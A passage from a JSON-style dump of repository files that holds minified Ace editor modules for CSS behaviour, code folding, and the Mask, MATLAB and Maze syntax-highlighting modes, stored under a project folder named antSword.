u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/mask\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/mask_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./mask_highlight_rules\").MaskHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/css\").CssBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/mask\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-matlab.js",
    "content": "ace.define(\"ace/mode/matlab_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"break|case|catch|classdef|continue|else|elseif|end|for|function|global|if|otherwise|parfor|persistent|return|spmd|switch|try|while\",t=\"true|false|inf|Inf|nan|NaN|eps|pi|ans|nargin|nargout|varargin|varargout\",n=\"abs|accumarray|acos(?:d|h)?|acot(?:d|h)?|acsc(?:d|h)?|actxcontrol(?:list|select)?|actxGetRunningServer|actxserver|addlistener|addpath|addpref|addtodate|airy|align|alim|all|allchild|alpha|alphamap|amd|ancestor|and|angle|annotation|any|area|arrayfun|asec(?:d|h)?|asin(?:d|h)?|assert|assignin|atan(?:2|d|h)?|audiodevinfo|audioplayer|audiorecorder|aufinfo|auread|autumn|auwrite|avifile|aviinfo|aviread|axes|axis|balance|bar(?:3|3h|h)?|base2dec|beep|BeginInvoke|bench|bessel(?:h|i|j|k|y)|beta|betainc|betaincinv|betaln|bicg|bicgstab|bicgstabl|bin2dec|bitand|bitcmp|bitget|bitmax|bitnot|bitor|bitset|bitshift|bitxor|blanks|blkdiag|bone|box|brighten|brush|bsxfun|builddocsearchdb|builtin|bvp4c|bvp5c|bvpget|bvpinit|bvpset|bvpxtend|calendar|calllib|callSoapService|camdolly|cameratoolbar|camlight|camlookat|camorbit|campan|campos|camproj|camroll|camtarget|camup|camva|camzoom|cart2pol|cart2sph|cast|cat|caxis|cd|cdf2rdf|cdfepoch|cdfinfo|cdflib(?:.(?:close|closeVar|computeEpoch|computeEpoch16|create|createAttr|createVar|delete|deleteAttr|deleteAttrEntry|deleteAttrgEntry|deleteVar|deleteVarRecords|epoch16Breakdown|epochBreakdown|getAttrEntry|getAttrgEntry|getAttrMaxEntry|getAttrMaxgEntry|getAttrName|getAttrNum|getAttrScope|getCacheSize|getChecksum|getCompression|getCompressionCacheSize|getConstantNames|getConstantValue|getCopyright|getFileBackward|getFormat|getLibraryCopyright|getLibraryVersion|getMajority|getName|getNumAttrEntries|getNumAttrgEntries|getNumAttributes|getNumgAttributes|getReadOnlyMode|getStageCacheSize|getValidate|getVarAllocRecords|getVarBlockingFactor|getVarCacheSize|getVarCompression|getVarData|getVarMaxAllocRecNum|getVarMaxWrittenRecNum|getVarName|getVarNum|getVarNumRecsWritten|getVarPadValue|getVarRecordData|getVarReservePercent|getVarsMaxWrittenRecNum|getVarSparseRecords|getVersion|hyperGetVarData|hyperPutVarData|inquire|inquireAttr|inquireAttrEntry|inquireAttrgEntry|inquireVar|open|putAttrEntry|putAttrgEntry|putVarData|putVarRecordData|renameAttr|renameVar|setCacheSize|setChecksum|setCompression|setCompressionCacheSize|setFileBackward|setFormat|setMajority|setReadOnlyMode|setStageCacheSize|setValidate|setVarAllocBlockRecords|setVarBlockingFactor|setVarCacheSize|setVarCompression|setVarInitialRecs|setVarPadValue|SetVarReservePercent|setVarsCacheSize|setVarSparseRecords))?|cdfread|cdfwrite|ceil|cell2mat|cell2struct|celldisp|cellfun|cellplot|cellstr|cgs|checkcode|checkin|checkout|chol|cholinc|cholupdate|circshift|cla|clabel|class|clc|clear|clearvars|clf|clipboard|clock|close|closereq|cmopts|cmpermute|cmunique|colamd|colon|colorbar|colordef|colormap|colormapeditor|colperm|Combine|comet|comet3|commandhistory|commandwindow|compan|compass|complex|computer|cond|condeig|condest|coneplot|conj|containers.Map|contour(?:3|c|f|slice)?|contrast|conv|conv2|convhull|convhulln|convn|cool|copper|copyfile|copyobj|corrcoef|cos(?:d|h)?|cot(?:d|h)?|cov|cplxpair|cputime|createClassFromWsdl|createSoapMessage|cross|csc(?:d|h)?|csvread|csvwrite|ctranspose|cumprod|cumsum|cumtrapz|curl|customverctrl|cylinder|daqread|daspect|datacursormode|datatipinfo|date|datenum|datestr|datetick|datevec|dbclear|dbcont|dbdown|dblquad|dbmex|dbquit|dbstack|dbstatus|dbstep|dbstop|dbtype|dbup|dde23|ddeget|ddesd|ddeset|deal|deblank|dec2base|dec2bin|dec2hex|decic|deconv|del2|delaunay|delaunay3|delaunayn|DelaunayTri|delete|demo|depdir|depfun|det|detrend|deval|diag|dialog|diary|diff|diffuse|dir|disp|display|dither|divergence|dlmread|dlmwrite|dmperm|doc|docsearch|dos|dot|dragrect|drawnow|dsearch|dsearchn|dynamicprops|echo|echodemo|edit|eig|eigs|ellipj|ellipke|ellipsoid|empty|enableNETfromNetworkDrive|enableservice|EndInvoke|enumeration|eomday|eq|erf|erfc|erfcinv|erfcx|erfinv|error|errorbar|errordlg|etime|etree|etreeplot|eval|evalc|evalin|event.(?:EventData|listener|PropertyEvent|proplistener)|exifread|exist|exit|exp|expint|expm|expm1|export2wsdlg|eye|ezcontour|ezcontourf|ezmesh|ezmeshc|ezplot|ezplot3|ezpolar|ezsurf|ezsurfc|factor|factorial|fclose|feather|feature|feof|ferror|feval|fft|fft2|fftn|fftshift|fftw|fgetl|fgets|fieldnames|figure|figurepalette|fileattrib|filebrowser|filemarker|fileparts|fileread|filesep|fill|fill3|filter|filter2|find|findall|findfigs|findobj|findstr|finish|fitsdisp|fitsinfo|fitsread|fitswrite|fix|flag|flipdim|fliplr|flipud|floor|flow|fminbnd|fminsearch|fopen|format|fplot|fprintf|frame2im|fread|freqspace|frewind|fscanf|fseek|ftell|FTP|full|fullfile|func2str|functions|funm|fwrite|fzero|gallery|gamma|gammainc|gammaincinv|gammaln|gca|gcbf|gcbo|gcd|gcf|gco|ge|genpath|genvarname|get|getappdata|getenv|getfield|getframe|getpixelposition|getpref|ginput|gmres|gplot|grabcode|gradient|gray|graymon|grid|griddata(?:3|n)?|griddedInterpolant|gsvd|gt|gtext|guidata|guide|guihandles|gunzip|gzip|h5create|h5disp|h5info|h5read|h5readatt|h5write|h5writeatt|hadamard|handle|hankel|hdf|hdf5|hdf5info|hdf5read|hdf5write|hdfinfo|hdfread|hdftool|help|helpbrowser|helpdesk|helpdlg|helpwin|hess|hex2dec|hex2num|hgexport|hggroup|hgload|hgsave|hgsetget|hgtransform|hidden|hilb|hist|histc|hold|home|horzcat|hostid|hot|hsv|hsv2rgb|hypot|ichol|idivide|ifft|ifft2|ifftn|ifftshift|ilu|im2frame|im2java|imag|image|imagesc|imapprox|imfinfo|imformats|import|importdata|imread|imwrite|ind2rgb|ind2sub|inferiorto|info|inline|inmem|inpolygon|input|inputdlg|inputname|inputParser|inspect|instrcallback|instrfind|instrfindall|int2str|integral(?:2|3)?|interp(?:1|1q|2|3|ft|n)|interpstreamspeed|intersect|intmax|intmin|inv|invhilb|ipermute|isa|isappdata|iscell|iscellstr|ischar|iscolumn|isdir|isempty|isequal|isequaln|isequalwithequalnans|isfield|isfinite|isfloat|isglobal|ishandle|ishghandle|ishold|isinf|isinteger|isjava|iskeyword|isletter|islogical|ismac|ismatrix|ismember|ismethod|isnan|isnumeric|isobject|isocaps|isocolors|isonormals|isosurface|ispc|ispref|isprime|isprop|isreal|isrow|isscalar|issorted|isspace|issparse|isstr|isstrprop|isstruct|isstudent|isunix|isvarname|isvector|javaaddpath|javaArray|javachk|javaclasspath|javacomponent|javaMethod|javaMethodEDT|javaObject|javaObjectEDT|javarmpath|jet|keyboard|kron|lasterr|lasterror|lastwarn|lcm|ldivide|ldl|le|legend|legendre|length|libfunctions|libfunctionsview|libisloaded|libpointer|libstruct|license|light|lightangle|lighting|lin2mu|line|lines|linkaxes|linkdata|linkprop|linsolve|linspace|listdlg|listfonts|load|loadlibrary|loadobj|log|log10|log1p|log2|loglog|logm|logspace|lookfor|lower|ls|lscov|lsqnonneg|lsqr|lt|lu|luinc|magic|makehgtform|mat2cell|mat2str|material|matfile|matlab.io.MatFile|matlab.mixin.(?:Copyable|Heterogeneous(?:.getDefaultScalarElement)?)|matlabrc|matlabroot|max|maxNumCompThreads|mean|median|membrane|memmapfile|memory|menu|mesh|meshc|meshgrid|meshz|meta.(?:class(?:.fromName)?|DynamicProperty|EnumeratedValue|event|MetaData|method|package(?:.(?:fromName|getAllPackages))?|property)|metaclass|methods|methodsview|mex(?:.getCompilerConfigurations)?|MException|mexext|mfilename|min|minres|minus|mislocked|mkdir|mkpp|mldivide|mlint|mlintrpt|mlock|mmfileinfo|mmreader|mod|mode|more|move|movefile|movegui|movie|movie2avi|mpower|mrdivide|msgbox|mtimes|mu2lin|multibandread|multibandwrite|munlock|namelengthmax|nargchk|narginchk|nargoutchk|native2unicode|nccreate|ncdisp|nchoosek|ncinfo|ncread|ncreadatt|ncwrite|ncwriteatt|ncwriteschema|ndgrid|ndims|ne|NET(?:.(?:addAssembly|Assembly|convertArray|createArray|createGeneric|disableAutoRelease|enableAutoRelease|GenericClass|invokeGenericMethod|NetException|setStaticProperty))?|netcdf.(?:abort|close|copyAtt|create|defDim|defGrp|defVar|defVarChunking|defVarDeflate|defVarFill|defVarFletcher32|delAtt|endDef|getAtt|getChunkCache|getConstant|getConstantNames|getVar|inq|inqAtt|inqAttID|inqAttName|inqDim|inqDimID|inqDimIDs|inqFormat|inqGrpName|inqGrpNameFull|inqGrpParent|inqGrps|inqLibVers|inqNcid|inqUnlimDims|inqVar|inqVarChunking|inqVarDeflate|inqVarFill|inqVarFletcher32|inqVarID|inqVarIDs|open|putAtt|putVar|reDef|renameAtt|renameDim|renameVar|setChunkCache|setDefaultFormat|setFill|sync)|newplot|nextpow2|nnz|noanimate|nonzeros|norm|normest|not|notebook|now|nthroot|null|num2cell|num2hex|num2str|numel|nzmax|ode(?:113|15i|15s|23|23s|23t|23tb|45)|odeget|odeset|odextend|onCleanup|ones|open|openfig|opengl|openvar|optimget|optimset|or|ordeig|orderfields|ordqz|ordschur|orient|orth|pack|padecoef|pagesetupdlg|pan|pareto|parseSoapResponse|pascal|patch|path|path2rc|pathsep|pathtool|pause|pbaspect|pcg|pchip|pcode|pcolor|pdepe|pdeval|peaks|perl|perms|permute|pie|pink|pinv|planerot|playshow|plot|plot3|plotbrowser|plotedit|plotmatrix|plottools|plotyy|plus|pol2cart|polar|poly|polyarea|polyder|polyeig|polyfit|polyint|polyval|polyvalm|pow2|power|ppval|prefdir|preferences|primes|print|printdlg|printopt|printpreview|prod|profile|profsave|propedit|propertyeditor|psi|publish|PutCharArray|PutFullMatrix|PutWorkspaceData|pwd|qhull|qmr|qr|qrdelete|qrinsert|qrupdate|quad|quad2d|quadgk|quadl|quadv|questdlg|quit|quiver|quiver3|qz|rand|randi|randn|randperm|RandStream(?:.(?:create|getDefaultStream|getGlobalStream|list|setDefaultStream|setGlobalStream))?|rank|rat|rats|rbbox|rcond|rdivide|readasync|real|reallog|realmax|realmin|realpow|realsqrt|record|rectangle|rectint|recycle|reducepatch|reducevolume|refresh|refreshdata|regexp|regexpi|regexprep|regexptranslate|rehash|rem|Remove|RemoveAll|repmat|reset|reshape|residue|restoredefaultpath|rethrow|rgb2hsv|rgb2ind|rgbplot|ribbon|rmappdata|rmdir|rmfield|rmpath|rmpref|rng|roots|rose|rosser|rot90|rotate|rotate3d|round|rref|rsf2csf|run|save|saveas|saveobj|savepath|scatter|scatter3|schur|sec|secd|sech|selectmoveresize|semilogx|semilogy|sendmail|serial|set|setappdata|setdiff|setenv|setfield|setpixelposition|setpref|setstr|setxor|shading|shg|shiftdim|showplottool|shrinkfaces|sign|sin(?:d|h)?|size|slice|smooth3|snapnow|sort|sortrows|sound|soundsc|spalloc|spaugment|spconvert|spdiags|specular|speye|spfun|sph2cart|sphere|spinmap|spline|spones|spparms|sprand|sprandn|sprandsym|sprank|spring|sprintf|spy|sqrt|sqrtm|squeeze|ss2tf|sscanf|stairs|startup|std|stem|stem3|stopasync|str2double|str2func|str2mat|str2num|strcat|strcmp|strcmpi|stream2|stream3|streamline|streamparticles|streamribbon|streamslice|streamtube|strfind|strjust|strmatch|strncmp|strncmpi|strread|strrep|strtok|strtrim|struct2cell|structfun|strvcat|sub2ind|subplot|subsasgn|subsindex|subspace|subsref|substruct|subvolume|sum|summer|superclasses|superiorto|support|surf|surf2patch|surface|surfc|surfl|surfnorm|svd|svds|swapbytes|symamd|symbfact|symmlq|symrcm|symvar|system|tan(?:d|h)?|tar|tempdir|tempname|tetramesh|texlabel|text|textread|textscan|textwrap|tfqmr|throw|tic|Tiff(?:.(?:getTagNames|getVersion))?|timer|timerfind|timerfindall|times|timeseries|title|toc|todatenum|toeplitz|toolboxdir|trace|transpose|trapz|treelayout|treeplot|tril|trimesh|triplequad|triplot|TriRep|TriScatteredInterp|trisurf|triu|tscollection|tsearch|tsearchn|tstool|type|typecast|uibuttongroup|uicontextmenu|uicontrol|uigetdir|uigetfile|uigetpref|uiimport|uimenu|uiopen|uipanel|uipushtool|uiputfile|uiresume|uisave|uisetcolor|uisetfont|uisetpref|uistack|uitable|uitoggletool|uitoolbar|uiwait|uminus|undocheckout|unicode2native|union|unique|unix|unloadlibrary|unmesh|unmkpp|untar|unwrap|unzip|uplus|upper|urlread|urlwrite|usejava|userpath|validateattributes|validatestring|vander|var|vectorize|ver|verctrl|verLessThan|version|vertcat|VideoReader(?:.isPlatformSupported)?|VideoWriter(?:.getProfiles)?|view|viewmtx|visdiff|volumebounds|voronoi|voronoin|wait|waitbar|waitfor|waitforbuttonpress|warndlg|warning|waterfall|wavfinfo|wavplay|wavread|wavrecord|wavwrite|web|weekday|what|whatsnew|which|whitebg|who|whos|wilkinson|winopen|winqueryreg|winter|wk1finfo|wk1read|wk1write|workspace|xlabel|xlim|xlsfinfo|xlsread|xlswrite|xmlread|xmlwrite|xor|xslt|ylabel|ylim|zeros|zip|zlabel|zlim|zoom|addedvarplot|andrewsplot|anova(?:1|2|n)|ansaribradley|aoctool|barttest|bbdesign|beta(?:cdf|fit|inv|like|pdf|rnd|stat)|bino(?:cdf|fit|inv|pdf|rnd|stat)|biplot|bootci|bootstrp|boxplot|candexch|candgen|canoncorr|capability|capaplot|caseread|casewrite|categorical|ccdesign|cdfplot|chi2(?:cdf|gof|inv|pdf|rnd|stat)|cholcov|Classification(?:BaggedEnsemble|Discriminant(?:.(?:fit|make|template))?|Ensemble|KNN(?:.(?:fit|template))?|PartitionedEnsemble|PartitionedModel|Tree(?:.(?:fit|template))?)|classify|classregtree|cluster|clusterdata|cmdscale|combnk|Compact(?:Classification(?:Discriminant|Ensemble|Tree)|Regression(?:Ensemble|Tree)|TreeBagger)|confusionmat|controlchart|controlrules|cophenet|copula(?:cdf|fit|param|pdf|rnd|stat)|cordexch|corr|corrcov|coxphfit|createns|crosstab|crossval|cvpartition|datasample|dataset|daugment|dcovary|dendrogram|dfittool|disttool|dummyvar|dwtest|ecdf|ecdfhist|ev(?:cdf|fit|inv|like|pdf|rnd|stat)|ExhaustiveSearcher|exp(?:cdf|fit|inv|like|pdf|rnd|stat)|factoran|fcdf|ff2n|finv|fitdist|fitensemble|fpdf|fracfact|fracfactgen|friedman|frnd|fstat|fsurfht|fullfact|gagerr|gam(?:cdf|fit|inv|like|pdf|rnd|stat)|GeneralizedLinearModel(?:.fit)?|geo(?:cdf|inv|mean|pdf|rnd|stat)|gev(?:cdf|fit|inv|like|pdf|rnd|stat)|gline|glmfit|glmval|glyphplot|gmdistribution(?:.fit)?|gname|gp(?:cdf|fit|inv|like|pdf|rnd|stat)|gplotmatrix|grp2idx|grpstats|gscatter|haltonset|harmmean|hist3|histfit|hmm(?:decode|estimate|generate|train|viterbi)|hougen|hyge(?:cdf|inv|pdf|rnd|stat)|icdf|inconsistent|interactionplot|invpred|iqr|iwishrnd|jackknife|jbtest|johnsrnd|KDTreeSearcher|kmeans|knnsearch|kruskalwallis|ksdensity|kstest|kstest2|kurtosis|lasso|lassoglm|lassoPlot|leverage|lhsdesign|lhsnorm|lillietest|LinearModel(?:.fit)?|linhyptest|linkage|logn(?:cdf|fit|inv|like|pdf|rnd|stat)|lsline|mad|mahal|maineffectsplot|manova1|manovacluster|mdscale|mhsample|mle|mlecov|mnpdf|mnrfit|mnrnd|mnrval|moment|multcompare|multivarichart|mvn(?:cdf|pdf|rnd)|mvregress|mvregresslike|mvt(?:cdf|pdf|rnd)|NaiveBayes(?:.fit)?|nan(?:cov|max|mean|median|min|std|sum|var)|nbin(?:cdf|fit|inv|pdf|rnd|stat)|ncf(?:cdf|inv|pdf|rnd|stat)|nct(?:cdf|inv|pdf|rnd|stat)|ncx2(?:cdf|inv|pdf|rnd|stat)|NeighborSearcher|nlinfit|nlintool|nlmefit|nlmefitsa|nlparci|nlpredci|nnmf|nominal|NonLinearModel(?:.fit)?|norm(?:cdf|fit|inv|like|pdf|rnd|stat)|normplot|normspec|ordinal|outlierMeasure|parallelcoords|paretotails|partialcorr|pcacov|pcares|pdf|pdist|pdist2|pearsrnd|perfcurve|perms|piecewisedistribution|plsregress|poiss(?:cdf|fit|inv|pdf|rnd|tat)|polyconf|polytool|prctile|princomp|ProbDist(?:Kernel|Parametric|UnivKernel|UnivParam)?|probplot|procrustes|qqplot|qrandset|qrandstream|quantile|randg|random|randsample|randtool|range|rangesearch|ranksum|rayl(?:cdf|fit|inv|pdf|rnd|stat)|rcoplot|refcurve|refline|regress|Regression(?:BaggedEnsemble|Ensemble|PartitionedEnsemble|PartitionedModel|Tree(?:.(?:fit|template))?)|regstats|relieff|ridge|robustdemo|robustfit|rotatefactors|rowexch|rsmdemo|rstool|runstest|sampsizepwr|scatterhist|sequentialfs|signrank|signtest|silhouette|skewness|slicesample|sobolset|squareform|statget|statset|stepwise|stepwisefit|surfht|tabulate|tblread|tblwrite|tcdf|tdfread|tiedrank|tinv|tpdf|TreeBagger|treedisp|treefit|treeprune|treetest|treeval|trimmean|trnd|tstat|ttest|ttest2|unid(?:cdf|inv|pdf|rnd|stat)|unif(?:cdf|inv|it|pdf|rnd|stat)|vartest(?:2|n)?|wbl(?:cdf|fit|inv|like|pdf|rnd|stat)|wblplot|wishrnd|x2fx|xptread|zscore|ztestadapthisteq|analyze75info|analyze75read|applycform|applylut|axes2pix|bestblk|blockproc|bwarea|bwareaopen|bwboundaries|bwconncomp|bwconvhull|bwdist|bwdistgeodesic|bweuler|bwhitmiss|bwlabel|bwlabeln|bwmorph|bwpack|bwperim|bwselect|bwtraceboundary|bwulterode|bwunpack|checkerboard|col2im|colfilt|conndef|convmtx2|corner|cornermetric|corr2|cp2tform|cpcorr|cpselect|cpstruct2pairs|dct2|dctmtx|deconvblind|deconvlucy|deconvreg|deconvwnr|decorrstretch|demosaic|dicom(?:anon|dict|info|lookup|read|uid|write)|edge|edgetaper|entropy|entropyfilt|fan2para|fanbeam|findbounds|fliptform|freqz2|fsamp2|fspecial|ftrans2|fwind1|fwind2|getheight|getimage|getimagemodel|getline|getneighbors|getnhood|getpts|getrangefromclass|getrect|getsequence|gray2ind|graycomatrix|graycoprops|graydist|grayslice|graythresh|hdrread|hdrwrite|histeq|hough|houghlines|houghpeaks|iccfind|iccread|iccroot|iccwrite|idct2|ifanbeam|im2bw|im2col|im2double|im2int16|im2java2d|im2single|im2uint16|im2uint8|imabsdiff|imadd|imadjust|ImageAdapter|imageinfo|imagemodel|imapplymatrix|imattributes|imbothat|imclearborder|imclose|imcolormaptool|imcomplement|imcontour|imcontrast|imcrop|imdilate|imdisplayrange|imdistline|imdivide|imellipse|imerode|imextendedmax|imextendedmin|imfill|imfilter|imfindcircles|imfreehand|imfuse|imgca|imgcf|imgetfile|imhandles|imhist|imhmax|imhmin|imimposemin|imlincomb|imline|immagbox|immovie|immultiply|imnoise|imopen|imoverview|imoverviewpanel|impixel|impixelinfo|impixelinfoval|impixelregion|impixelregionpanel|implay|impoint|impoly|impositionrect|improfile|imputfile|impyramid|imreconstruct|imrect|imregconfig|imregionalmax|imregionalmin|imregister|imresize|imroi|imrotate|imsave|imscrollpanel|imshow|imshowpair|imsubtract|imtool|imtophat|imtransform|imview|ind2gray|ind2rgb|interfileinfo|interfileread|intlut|ippl|iptaddcallback|iptcheckconn|iptcheckhandle|iptcheckinput|iptcheckmap|iptchecknargin|iptcheckstrs|iptdemos|iptgetapi|iptGetPointerBehavior|iptgetpref|ipticondir|iptnum2ordinal|iptPointerManager|iptprefs|iptremovecallback|iptSetPointerBehavior|iptsetpref|iptwindowalign|iradon|isbw|isflat|isgray|isicc|isind|isnitf|isrgb|isrset|lab2double|lab2uint16|lab2uint8|label2rgb|labelmatrix|makecform|makeConstrainToRectFcn|makehdr|makelut|makeresampler|maketform|mat2gray|mean2|medfilt2|montage|nitfinfo|nitfread|nlfilter|normxcorr2|ntsc2rgb|openrset|ordfilt2|otf2psf|padarray|para2fan|phantom|poly2mask|psf2otf|qtdecomp|qtgetblk|qtsetblk|radon|rangefilt|reflect|regionprops|registration.metric.(?:MattesMutualInformation|MeanSquares)|registration.optimizer.(?:OnePlusOneEvolutionary|RegularStepGradientDescent)|rgb2gray|rgb2ntsc|rgb2ycbcr|roicolor|roifill|roifilt2|roipoly|rsetwrite|std2|stdfilt|strel|stretchlim|subimage|tformarray|tformfwd|tforminv|tonemap|translate|truesize|uintlut|viscircles|warp|watershed|whitepoint|wiener2|xyz2double|xyz2uint16|ycbcr2rgb|bintprog|color|fgoalattain|fminbnd|fmincon|fminimax|fminsearch|fminunc|fseminf|fsolve|fzero|fzmult|gangstr|ktrlink|linprog|lsqcurvefit|lsqlin|lsqnonlin|lsqnonneg|optimget|optimset|optimtool|quadprog\",r=\"cell|struct|char|double|single|logical|u?int(?:8|16|32|64)|sparse\",i=this.createKeywordMapper({\"storage.type\":r,\"support.function\":n,keyword:e,\"constant.language\":t},\"identifier\",!0);this.$rules={start:[{token:\"string\",regex:\"'\",stateName:\"qstring\",next:[{token:\"constant.language.escape\",regex:\"''\"},{token:\"string\",regex:\"'|$\",next:\"start\"},{defaultToken:\"string\"}]},{token:\"text\",regex:\"\\\\s+\"},{regex:\"\",next:\"noQstring\"}],noQstring:[{regex:\"^\\\\s*%{\\\\s*$\",token:\"comment.start\",push:\"blockComment\"},{token:\"comment\",regex:\"%[^\\r\\n]*\"},{token:\"string\",regex:'\"',stateName:\"qqstring\",next:[{token:\"constant.language.escape\",regex:/\\\\./},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"start\"},{defaultToken:\"string\"}]},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\/|\\\\/\\\\/|<@>|@>|<@|&|\\\\^|~|<|>|<=|=>|==|!=|<>|=\",next:\"start\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\",next:\"start\"},{token:\"paren.lparen\",regex:\"[({\\\\[]\",next:\"start\"},{token:\"paren.rparen\",regex:\"[\\\\]})]\"},{token:\"text\",regex:\"\\\\s+\"},{token:\"text\",regex:\"$\",next:\"start\"}],blockComment:[{regex:\"^\\\\s*%{\\\\s*$\",token:\"comment.start\",push:\"blockComment\"},{regex:\"^\\\\s*%}\\\\s*$\",token:\"comment.end\",next:\"pop\"},{defaultToken:\"comment\"}]},this.normalizeRules()};r.inherits(s,i),t.MatlabHighlightRules=s}),ace.define(\"ace/mode/matlab\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/matlab_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./matlab_highlight_rules\").MatlabHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"%\",this.blockComment={start:\"%{\",end:\"%}\"},this.$id=\"ace/mode/matlab\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-maze.js",
    "content": "ace.define(\"ace/mode/maze_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"keyword.control\",regex:/##|``/,comment:\"Wall\"},{token:\"entity.name.tag\",regex:/\\.\\./,comment:\"Path\"},{token:\"keyword.control\",regex:/<>/,comment:\"Splitter\"},{token:\"entity.name.tag\",regex:/\\*[\\*A-Za-z0-9]/,comment:\"Signal\"},{token:\"constant.numeric\",regex:/[0-9]{2}/,comment:\"Pause\"},{token:\"keyword.control\",regex:/\\^\\^/,comment:\"Start\"},{token:\"keyword.control\",regex:/\\(\\)/,comment:\"Hole\"},{token:\"support.function\",regex:/>>/,comment:\"Out\"},{token:\"support.function\",regex:/>\\//,comment:\"Ln Out\"},{token:\"support.function\",regex:/<</,comment:\"In\"},{token:\"keyword.control\",regex:/--/,comment:\"One 